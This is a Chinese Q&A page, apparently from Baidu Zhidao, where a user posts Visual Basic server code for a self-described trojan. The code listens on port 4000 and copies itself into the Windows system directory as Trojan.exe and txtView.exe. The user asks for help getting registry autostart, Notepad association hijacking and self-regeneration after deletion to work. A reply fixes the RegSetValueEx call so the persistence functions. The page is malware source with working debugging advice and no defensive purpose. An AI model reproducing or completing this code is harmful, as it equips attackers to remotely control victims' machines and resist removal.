VB写的简单的木马程序代码有问题,帮忙改一下

来源:百度知道 编辑:UC知道 时间:2024/06/23 23:57:35
实现远程关机,重启,注销的功能可以使用,但是自动添加注册表启动项。关联记事本,在删除木马后自动生成新木马的功能实现不了,Sever端的代码如下:

(窗体代码):

Private Sub form_Load()
With Me
.sckServer.LocalPort = 4000 '本地端口
.sckServer.Listen '开始监听
Dim sCurrentPath As String, sSystemDir As String
sCurrentPath = App.Path & "\" & App.EXEName & ".exe"
sSystemDir = "C:\windows\system"
On Error Resume Next
'复制文件成系统目录下的Trojan.exe
FileCopy sCurrentPath, sSystemDir & "\Trojan.exe"
On Error Resume Next
'复制文件成系统目录下的txtView.exe
FileCopy sCurrentPath, sSystemDir & "\txtView.exe"
End With

Call StartupGroup
Call WriteToTxt

'判断程序是否下在运行
If App.PrevInstance = True Then
'如果已经运行就退出。
End
End If

End Sub

'接受客户

RegSetvalueEx函数的问题
lpData 参数如果是字符串数据,前面需要使用byval
cbData 参数对应的缓冲区应该是字节数,也就是说需要使用LanB函数获取

如你的
RegSetvalueEx(hKeyID, skey, 0&, REG_SZ, skeyVal, Len(skeyVal) + 1)
应该写成
RegSetvalueEx(hKeyID, skey, 0&, REG_SZ, byval skeyVal, LenB(skeyVal) + 1)

然后试试行不行

上面有一句类似的,后面变量都写错了,写程序注意点,写错变量名很难发现的